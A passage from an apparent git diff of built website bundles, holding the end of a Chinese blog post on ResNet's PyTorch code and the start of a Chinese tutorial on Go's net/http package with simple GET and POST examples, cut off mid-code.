\u5bf9\u5e94\u7740conv4_x\n self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # \u5bf9\u5e94\u7740conv5_x\n # \u5206\u7c7b\u5934\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n\t\t\n # \u6a21\u578b\u521d\u59cb\u5316\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")\n elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n # Zero-initialize the last BN in each residual branch,\n # so that the residual branch starts with zeros, and each residual block behaves like an identity.\n # This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677\n if zero_init_residual:\n for m in self.modules():\n if isinstance(m, Bottleneck) and m.bn3.weight is not None:\n nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]\n elif isinstance(m, BasicBlock) and m.bn2.weight is not None:\n nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]\n\t# \u5c42\u6b21\u5316\u8bbe\u8ba1\n def _make_layer(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u57fa\u672c\u6784\u6210\u6a21\u5757\u9009\u62e9\n planes: int, # \u8f93\u5165\u7684\u901a\u9053\n blocks: int, # \u6a21\u5757\u6570\u76ee\n stride: int = 1, # \u6b65\u957f\n dilate: bool = False, # \u7a7a\u6d1e\u5377\u79ef\uff0c\u4e0e\u672c\u6587\u65e0\u5173\n ) -> nn.Sequential:\n norm_layer = self._norm_layer\n downsample = None # \u662f\u5426\u91c7\u7528\u4e0b\u91c7\u6837\n ####################\u65e0\u5173#####################\n previous_dilation = self.dilation \n if dilate:\n self.dilation *= stride\n stride = 1\n #############################################\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n\t\t\n # \u4f7f\u7528layers\u5b58\u50a8\u6bcf\u4e2alayer\n layers = []\n layers.append(\n block(\n self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer\n )\n )\n self.inplanes = planes * block.expansion\n for _ in range(1, blocks):\n layers.append(\n block(\n self.inplanes,\n planes,\n groups=self.groups,\n base_width=self.base_width,\n dilation=self.dilation,\n norm_layer=norm_layer,\n )\n )\n\t\t# \u5c06layers\u901a\u8fc7nn.Sequential\u8f6c\u5316\u4e3a\u7f51\u7edc\n return nn.Sequential(*layers)\n\n def _forward_impl(self, x: Tensor) -> Tensor:\n # See note [TorchScript super()]\n x = self.conv1(x) # conv1 x shape [1 64 112 112]\n x = self.bn1(x) # \u5f52\u4e00\u5316\u5904\u7406 \n x = self.relu(x) # \u6fc0\u6d3b\u51fd\u6570\n x = self.maxpool(x) # conv2_x\u76843x3 maxpool x shape [1 64 56 56]\n\n x = self.layer1(x) # layer 1\n x = self.layer2(x) # layer 2\n x = self.layer3(x) # layer 3\n x = self.layer4(x) # layer 4\n\n x = self.avgpool(x) # \u81ea\u9002\u5e94\u6c60\u5316\n x = torch.flatten(x, 1) \n x = self.fc(x) # \u5206\u7c7b\n\n return x\n\n def forward(self, x: Tensor) -> Tensor:\n return self._forward_impl(x) \n'})}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u4e0d\u96be\u770b\u5230\uff0c\u9996\u5148\u662f\u4e00\u4e2a7 x 7\u7684\u5377\u79ef\u4f5c\u7528\u5728\u8f93\u5165\u76843\u7ef4\u56fe\u7247\u4e0a\uff0c\u5e76\u8f93\u5165\u4e00\u4e2a64\u7ef4\u7684\u7279\u5f81\u56fe\uff08\u5373self.inplanes\u7684\u521d\u59cb\u503c\uff09\uff0c\u901a\u8fc7BatchNorm\u5c42\uff0cReLU\u5c42\uff0cMaxPool\u5c42\uff1b\u7136\u540e\u7ecf\u8fc7_make_layer()\u51fd\u6570\u6784\u5efa\u76844\u5c42layer\uff0c\u6700\u540e\u7ecf\u8fc7\u4e00\u4e2aAveragePooling\u5c42\uff0c\u518d\u7ecf\u8fc7\u4e00\u4e2afc\u5c42\u5f97\u5230\u5206\u7c7b\u8f93\u51fa\u3002\u5728\u7f51\u7edc\u642d\u5efa\u8d77\u6765\u540e\uff0c\u8fd8\u5bf9\u6a21\u578b\u7684\u53c2\u6570(Conv2d\u3001BatchNorm2d\u3001last BN)\u8fdb\u884c\u4e86\u521d\u59cb\u5316\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u800c\u5bf9\u4e8e_make_layer\u51fd\u6570\uff0c\u4e00\u4e2a_make_layer()\u6784\u5efa\u4e00\u4e2alayer\u5c42\uff0c\u6bcf\u4e00\u4e2alayer\u5c42\u662f\u4e0a\u8ff0\u4e24\u79cd\u57fa\u672c\u6a21\u5757\u7684\u5806\u53e0\u3002\u8f93\u5165\u53c2\u6570\u4e2dblock\u4ee3\u8868\u8be5layer\u5806\u53e0\u6a21\u5757\u7684\u7c7b\u578b\uff0c\u53ef\u9009BasicBlock\u6216\u8005BottleNeck\uff1bblocks\u4ee3\u8868\u8be5layer\u4e2d\u5806\u53e0\u7684block\u7684\u6570\u76ee\uff1bplanes\u4e0e\u8be5layer\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u6709\u5173\uff0c\u6ce8\u610f\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u4e3aplanes * block.expansion\u3002\u9664\u6b64\u4e4b\u5916\uff0c _make_layer()\u662f\u7528\u6765\u751f\u6210\u6b8b\u5dee\u5757\u7684\uff0c\u8fd9\u5c31\u7275\u626f\u5230\u5b83\u7684\u7b2c\u56db\u4e2a\u53c2\u6570\uff1astride\uff0c\u5373\u5377\u79ef\u6b65\u5e45\u3002\u8be5\u51fd\u6570\u4e2d\u9996\u5148\u5b9a\u4e49\u4e86\u5982\u679cstride\u4e0d\u7b49\u4e8e1\u6216\u8005\u7ef4\u5ea6\u4e0d\u5339\u914d\uff08\u5373\u8f93\u5165\u901a\u9053\u4e0d\u6ee1\u8db3\u5bf9\u5e94\u5173\u7cfb\uff09\u7684\u65f6\u5019\u7684downsample\uff0c\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u4e00\u6b21BN\u64cd\u4f5c\u3002\u63a5\u7740\u5bf9inplanes\u548cplanes\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\u8fdb\u884c\u4e86\u4e00\u6b21downsample \uff0c\u5373\u5c06\u5e26downsample\u7684block\u6dfb\u52a0\u81f3layers\u3002\u8fd9\u6837\u4fdd\u8bc1\u4e86x\u548cout\u7684\u7ef4\u5ea6\u4e00\u81f4\uff0c\u63a5\u4e0b\u6765\u901a\u8fc7\u4e00\u4e2a\u5faa\u73af\u6dfb\u52a0\u4e86\u6307\u5b9a\u4e2a\u6570\u7684Block\uff0c\u7531\u4e8ex\u5df2\u7ecf\u7ef4\u5ea6\u4e00\u81f4\u4e86\uff0c\u8fd9\u6837\u6dfb\u52a0\u7684\u5176\u4ed6\u7684Block\u5c31\u53ef\u4ee5\u4e0d\u7528\u964d\u7ef4\u4e86\uff0c\u6240\u4ee5\u5faa\u73af\u6dfb\u52a0\u4e0d\u542bDownsample\u7684Block\u3002\u6b63\u5982\u4e0b\u9762\u4ee3\u7801\u6240\u793a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u4e00\u4e2alayer\u5305\u542b\u591a\u4e2ablock\u65f6\uff0c\u662f\u901a\u8fc7\u5411layers\u5217\u8868\u4e2d\u4f9d\u6b21\u52a0\u5165\u6bcf\u4e2ablock\uff0c\u6765\u5b9e\u73b0block\u7684\u5806\u53e0\u7684\u3002\u7b2c\u4e00\u4e2ablock\u9700\u8981\u7279\u6b8a\u5904\u7406\uff0c\u8be5block\u4f9d\u636e\u4f20\u5165\u7684self.inplanes, planes\u4ee5\u53castride\u5224\u65ad\uff0c\u53ef\u80fd\u542b\u6709downsample\u652f\u8def\uff1b\u8fd9\u4e2ablock\u7684\u8f93\u51fa\u7ef4\u5ea6\u662fplanes*block.expansion\u3002\u7d27\u63a5\u7740\u4fbf\u628aself.inplanes\u66f4\u65b0\u4e3a\u6b64\u503c\u4f5c\u4e3a\u540e\u7eedblock\u7684\u8f93\u5165\u7ef4\u5ea6\u3002\u540e\u9762\u7684block\u7684stride\u4e3a\u9ed8\u8ba4\u503c1\uff0c\u540c\u65f6\uff0c\u7531\u4e8e\u8f93\u5165\u4e3aself.inplanes\uff0c\u8f93\u51fa\u4e3aplanes*block.expansion\uff0c\u800cself.inplanes = planes * block.expansion\uff0c\u56e0\u6b64\u4e0d\u4f1a\u51fa\u73b0\u7279\u5f81\u56fe\u5927\u5c0f\u6216\u8005\u5c3a\u5bf8\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\uff0c\u4e0d\u53ef\u80fd\u51fa\u73b0downsample\u64cd\u4f5c\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"3-\u603b\u7ed3",children:"3 \u603b\u7ed3"}),"\n",(0,t.jsx)(e.p,{children:"\u4e0e\u666e\u901a\u7684\u7f51\u7edc\u76f8\u6bd4\uff0cResNet\u6700\u5927\u7684\u4f18\u52bf\u5c31\u662f\u5f15\u5165\u4e86Shortcut\u8fd9\u4e2a\u652f\u8def\uff0c\u8ba9\u67d0\u4e00\u5c42\u53ef\u4ee5\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4f7f\u5f97\u540e\u9762\u7684\u5c42\u53ef\u4ee5\u76f4\u63a5\u5b66\u4e60\u6b8b\u5dee\u3002\u4f20\u7edf\u7684\u5377\u79ef\u5c42\u6216\u5168\u8fde\u63a5\u5c42\u5728\u4fe1\u606f\u4f20\u9012\u65f6\uff0c\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\u3001\u635f\u8017\u7b49\u95ee\u9898\u3002ResNet \u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u901a\u8fc7\u76f4\u63a5\u5c06\u8f93\u5165\u4fe1\u606f\u7ed5\u9053\u4f20\u5230\u8f93\u51fa\uff0c\u4fdd\u62a4\u4fe1\u606f\u7684\u5b8c\u6574\u6027\uff0c\u6574\u4e2a\u7f51\u7edc\u5219\u53ea\u9700\u8981\u5b66\u4e60\u8f93\u5165\u3001\u8f93\u51fa\u5dee\u522b\u7684\u90a3\u4e00\u90e8\u5206\uff0c\u7b80\u5316\u5b66\u4e60\u76ee\u6807\u548c\u96be\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7684\u51fa\u73b0\uff0c\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u968f\u6df1\u5ea6\u7684\u589e\u52a0\uff0c\u4f46\u662f\u6a21\u578b\u6548\u679c\u5374\u53d8\u5dee\u7684\u95ee\u9898\uff0c\u7528\u4f5c\u8005\u7684\u8bdd\u8bf4\uff0c\u5c31\u662f: \u201cOur deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.\u201d\u3002\u539f\u59cb\u7684ResNet\u5bf9\u4e8e\u8bad\u7ec3\u5377\u79ef\u795e\u7ecf\u7f51\u8def\u505a\u51fa\u4e86\u5f88\u5927\u7684\u8d21\u732e\uff0c\u4f46\u662f\u540c\u6837\u4e5f\u6709\u7740\u8bb8\u591a\u53ef\u4ee5\u6539\u8fdb\u7684\u5730\u65b9\u3002\u968f\u7740\u65f6\u4ee3\u7684\u53d1\u5c55\uff0c\u539f\u7248\u7684ResNet\u5728\u4e00\u6b21\u53c8\u4e00\u6b21\u7684\u7814\u7a76\u4e2d\u5f97\u5230\u4e86\u4e30\u5bcc\u548c\u5b8c\u5584\uff0c\u884d\u751f\u51fa\u4e86\u4e30\u5bcc\u7684\u6539\u8fdb\u7684\u6a21\u578b\uff0c\u5982ResNeXt\u3002\u5b83\u63d0\u51fa\u4e86\u4e00\u79cd\u4ecb\u4e8e\u666e\u901a\u5377\u79ef\u6838\u6df1\u5ea6\u53ef\u5206\u79bb\u5377\u79ef\u7684\u8fd9\u79cd\u7b56\u7565\uff1a\u5206\u7ec4\u5377\u79ef\u3002\u901a\u8fc7\u63a7\u5236\u5206\u7ec4\u7684\u6570\u91cf\uff08\u57fa\u6570\uff09\u6765\u8fbe\u5230\u4e24\u79cd\u7b56\u7565\u7684\u5e73\u8861\u3002\u5206\u7ec4\u5377\u79ef\u7684\u601d\u60f3\u662f\u6e90\u81eaInception\uff0c\u4e0d\u540c\u4e8eInception\u7684\u9700\u8981\u4eba\u5de5\u8bbe\u8ba1\u6bcf\u4e2a\u5206\u652f\uff0cResNeXt\u7684\u6bcf\u4e2a\u5206\u652f\u7684\u62d3\u6251\u7ed3\u6784\u662f\u76f8\u540c\u7684\u3002\u6700\u540e\u518d\u7ed3\u5408\u6b8b\u5dee\u7f51\u7edc\uff0c\u5f97\u5230\u7684\u4fbf\u662f\u6700\u7ec8\u7684ResNeXt\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0cResNet\u8fd8\u6709\u5176\u5b83\u53d8\u4f53\u5982Wider ResNet\uff0cDarkNet53\u7b49\u3002\u5b83\u4eec\u7684\u6539\u8fdb\u76f8\u5bf9\u8f83\u5927\uff0c\u5c24\u5176\u662fDarkNet53\uff0c\u5b83\u548cResNet\u5df2\u7ecf\u6709\u5f88\u5927\u4e0d\u540c\u4e86\uff0c\u53ea\u662f\u4f7f\u7528\u5230\u4e86\u6b8b\u5dee\u8fde\u63a5\u4ece\u800c\u590d\u7528\u7279\u5f81\u800c\u5df2\u3002\u603b\u800c\u8a00\u4e4b\uff0cResNet\u662f\u6df1\u5ea6\u5b66\u4e60\u9886\u57df\u4e00\u4e2a\u91cc\u7a0b\u7891\u5f0f\u7684\u5de5\u4f5c\u3002\u3002"})]})}function p(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/assets/js/86ca987a.d467d16a.js b/assets/js/86ca987a.d467d16a.js new file mode 100644 index 0000000..4407c9f --- /dev/null +++ b/assets/js/86ca987a.d467d16a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[414],{22987:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>i,default:()=>p,frontMatter:()=>d,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","title":"02.GoLand-net.http.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/02.GoLand-net.http.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/02.GoLand-net.http.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"fmt","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt"},"next":{"title":"goflags","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags"}}');var s=r(74848),l=r(28453);const d={},i="02.GoLand-net.http.md",o={},a=[{value:"net/http\u4ecb\u7ecd",id:"nethttp\u4ecb\u7ecd",level:2},{value:"HTTP\u534f\u8bae",id:"http\u534f\u8bae",level:3},{value:"HTTP\u5ba2\u6237\u7aef",id:"http\u5ba2\u6237\u7aef",level:2},{value:"\u57fa\u672c\u7684HTTP/HTTPS\u8bf7\u6c42",id:"\u57fa\u672c\u7684httphttps\u8bf7\u6c42",level:3},{value:"GET\u8bf7\u6c42\u793a\u4f8b",id:"get\u8bf7\u6c42\u793a\u4f8b",level:3},{value:"\u5e26\u53c2\u6570\u7684GET\u8bf7\u6c42\u793a\u4f8b",id:"\u5e26\u53c2\u6570\u7684get\u8bf7\u6c42\u793a\u4f8b",level:3},{value:"Post\u8bf7\u6c42\u793a\u4f8b",id:"post\u8bf7\u6c42\u793a\u4f8b",level:3},{value:"\u81ea\u5b9a\u4e49Client",id:"\u81ea\u5b9a\u4e49client",level:3},{value:"\u81ea\u5b9a\u4e49Transport",id:"\u81ea\u5b9a\u4e49transport",level:3},{value:"\u670d\u52a1\u7aef",id:"\u670d\u52a1\u7aef",level:2},{value:"\u9ed8\u8ba4\u7684Server",id:"\u9ed8\u8ba4\u7684server",level:3},{value:"\u9ed8\u8ba4\u7684Server\u793a\u4f8b",id:"\u9ed8\u8ba4\u7684server\u793a\u4f8b",level:3},{value:"\u81ea\u5b9a\u4e49Server",id:"\u81ea\u5b9a\u4e49server",level:3},{value:"\u6a21\u5757\u4ecb\u7ecd",id:"\u6a21\u5757\u4ecb\u7ecd",level:2},{value:"Request",id:"request",level:3},{value:"Response",id:"response",level:3},{value:"Client",id:"client",level:3},{value:"Server \u670d\u52a1\u7aef",id:"server-\u670d\u52a1\u7aef",level:3},{value:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668\uff08Custom Handlers\uff09",id:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668custom-handlers",level:3},{value:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668",id:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668",level:3},{value:"\u4e2d\u95f4\u4ef6Middleware",id:"\u4e2d\u95f4\u4ef6middleware",level:3}];function c(e){const n={a:"a",blockquote:"blockquote",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"02goland-nethttpmd",children:"02.GoLand-net.http.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:58:49"})]})})]}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u672c\u7bc7\u6587\u7ae0\u53c2\u8003\u5982\u4e0b\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8bf7\u8054\u7cfb\u6211\u5220\u9664\u3002"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://wizardforcel.gitbooks.io/go42/content/content/42_36_http.html",children:"\u7b2c\u4e09\u5341\u516d\u7ae0 net/http\u5305 \xb7 Go \u8bed\u8a00 42 \u7ae0\u7ecf"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.liwenzhou.com/posts/Go/http/#autoid-0-1-1",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4bnet/http | \u674e\u6587\u5468\u7684\u535a\u5ba2"})}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["Go\u8bed\u8a00\u5185\u7f6e\u7684",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u5341\u5206\u7684\u4f18\u79c0\uff0c\u63d0\u4f9b\u4e86HTTP\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u7684\u5b9e\u73b0\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"nethttp\u4ecb\u7ecd",children:"net/http\u4ecb\u7ecd"}),"\n",(0,s.jsxs)(n.p,{children:["Go\u8bed\u8a00\u5185\u7f6e\u7684",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u63d0\u4f9b\u4e86HTTP\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u7684\u5b9e\u73b0\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"http\u534f\u8bae",children:"HTTP\u534f\u8bae"}),"\n",(0,s.jsx)(n.p,{children:"\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae\uff08HTTP\uff0cHyperText Transfer Protocol)\u662f\u4e92\u8054\u7f51\u4e0a\u5e94\u7528\u6700\u4e3a\u5e7f\u6cdb\u7684\u4e00\u79cd\u7f51\u7edc\u4f20\u8f93\u534f\u8bae\uff0c\u6240\u6709\u7684WWW\u6587\u4ef6\u90fd\u5fc5\u987b\u9075\u5b88\u8fd9\u4e2a\u6807\u51c6\u3002\u8bbe\u8ba1HTTP\u6700\u521d\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u63d0\u4f9b\u4e00\u79cd\u53d1\u5e03\u548c\u63a5\u6536HTML\u9875\u9762\u7684\u65b9\u6cd5\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"http\u5ba2\u6237\u7aef",children:"HTTP\u5ba2\u6237\u7aef"}),"\n",(0,s.jsx)(n.h3,{id:"\u57fa\u672c\u7684httphttps\u8bf7\u6c42",children:"\u57fa\u672c\u7684HTTP/HTTPS\u8bf7\u6c42"}),"\n",(0,s.jsx)(n.p,{children:"Get\u3001Head\u3001Post\u548cPostForm\u51fd\u6570\u53d1\u51faHTTP/HTTPS\u8bf7\u6c42\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'resp, err := http.Get("http://example.com/")\n...\nresp, err := http.Post("http://example.com/upload", "image/jpeg", &buf)\n...\nresp, err := http.PostForm("http://example.com/form",\n\turl.Values{"key": {"Value"}, "id": {"123"}})\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u7a0b\u5e8f\u5728\u4f7f\u7528\u5b8cresponse\u540e\u5fc5\u987b\u5173\u95ed\u56de\u590d\u7684\u4e3b\u4f53\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'resp, err := http.Get("http://example.com/")\nif err != nil {\n\t// handle error\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\n// ...\n'})}),"\n",(0,s.jsx)(n.h3,{id:"get\u8bf7\u6c42\u793a\u4f8b",children:"GET\u8bf7\u6c42\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u4f7f\u7528",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u7f16\u5199\u4e00\u4e2a\u7b80\u5355\u7684\u53d1\u9001HTTP\u8bf7\u6c42\u7684Client\u7aef\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"io/ioutil"\n\t"net/http"\n)\n\nfunc main() {\n\tresp, err := http.Get("https://www.liwenzhou.com/")\n\tif err != nil {\n\t\tfmt.Printf("get failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf("read from resp.Body failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Print(string(body))\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4fdd\u5b58\u4e4b\u540e\u7f16\u8bd1\u6210\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u6267\u884c\u4e4b\u540e\u5c31\u80fd\u5728\u7ec8\u7aef\u6253\u5370",(0,s.jsx)(n.code,{children:"liwenzhou.com"}),"\u7f51\u7ad9\u9996\u9875\u7684\u5185\u5bb9\u4e86\uff0c\u6211\u4eec\u7684\u6d4f\u89c8\u5668\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u53d1\u9001\u548c\u63a5\u6536HTTP\u534f\u8bae\u6570\u636e\u7684\u5ba2\u6237\u7aef\uff0c\u6211\u4eec\u5e73\u65f6\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u7f51\u9875\u5176\u5b9e\u5c31\u662f\u4ece\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u63a5\u6536HTTP\u6570\u636e\uff0c\u7136\u540e\u6d4f\u89c8\u5668\u4f1a\u6309\u7167HTML\u3001CSS\u7b49\u89c4\u5219\u5c06\u7f51\u9875\u6e32\u67d3\u5c55\u793a\u51fa\u6765\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u5e26\u53c2\u6570\u7684get\u8bf7\u6c42\u793a\u4f8b",children:"\u5e26\u53c2\u6570\u7684GET\u8bf7\u6c42\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u5173\u4e8eGET\u8bf7\u6c42\u7684\u53c2\u6570\u9700\u8981\u4f7f\u7528Go\u8bed\u8a00\u5185\u7f6e\u7684",(0,s.jsx)(n.code,{children:"net/url"}),"\u8fd9\u4e2a\u6807\u51c6\u5e93\u6765\u5904\u7406\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'func main() {\n\tapiUrl := "http://127.0.0.1:9090/get"\n\t// URL param\n\tdata := url.Values{}\n\tdata.Set("name", "\u5c0f\u738b\u5b50")\n\tdata.Set("age", "18")\n\tu, err := url.ParseRequestURI(apiUrl)\n\tif err != nil {\n\t\tfmt.Printf("parse url requestUrl failed, err:%v\\n", err)\n\t}\n\tu.RawQuery = data.Encode() // URL encode\n\tfmt.Println(u.String())\n\tresp, err := http.Get(u.String())\n\tif err != nil {\n\t\tfmt.Printf("post failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf("get resp failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println(string(b))\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u5e94\u7684Server\u7aefHandlerFunc\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'func getHandler(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\tdata := r.URL.Query()\n\tfmt.Println(data.Get("name"))\n\tfmt.Println(data.Get("age"))\n\tanswer := `{"status": "ok"}`\n\tw.Write([]byte(answer))\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"post\u8bf7\u6c42\u793a\u4f8b",children:"Post\u8bf7\u6c42\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0a\u9762\u6f14\u793a\u4e86\u4f7f\u7528",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u53d1\u9001",(0,s.jsx)(n.code,{children:"GET"}),"\u8bf7\u6c42\u7684\u793a\u4f8b\uff0c\u53d1\u9001",(0,s.jsx)(n.code,{children:"POST"}),"\u8bf7\u6c42\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"io/ioutil"\n\t"net/http"\n\t"strings"\n)\n\n// net/http post demo\n\nfunc main() {\n\turl := "http://127.0.0.1:9090/post"\n\t// \u8868\u5355\u6570\u636e\n\t//contentType := "application/x-www-form-urlencoded"\n\t//data := "name=\u5c0f\u738b\u5b50&age=18"\n\t// json\n\tcontentType 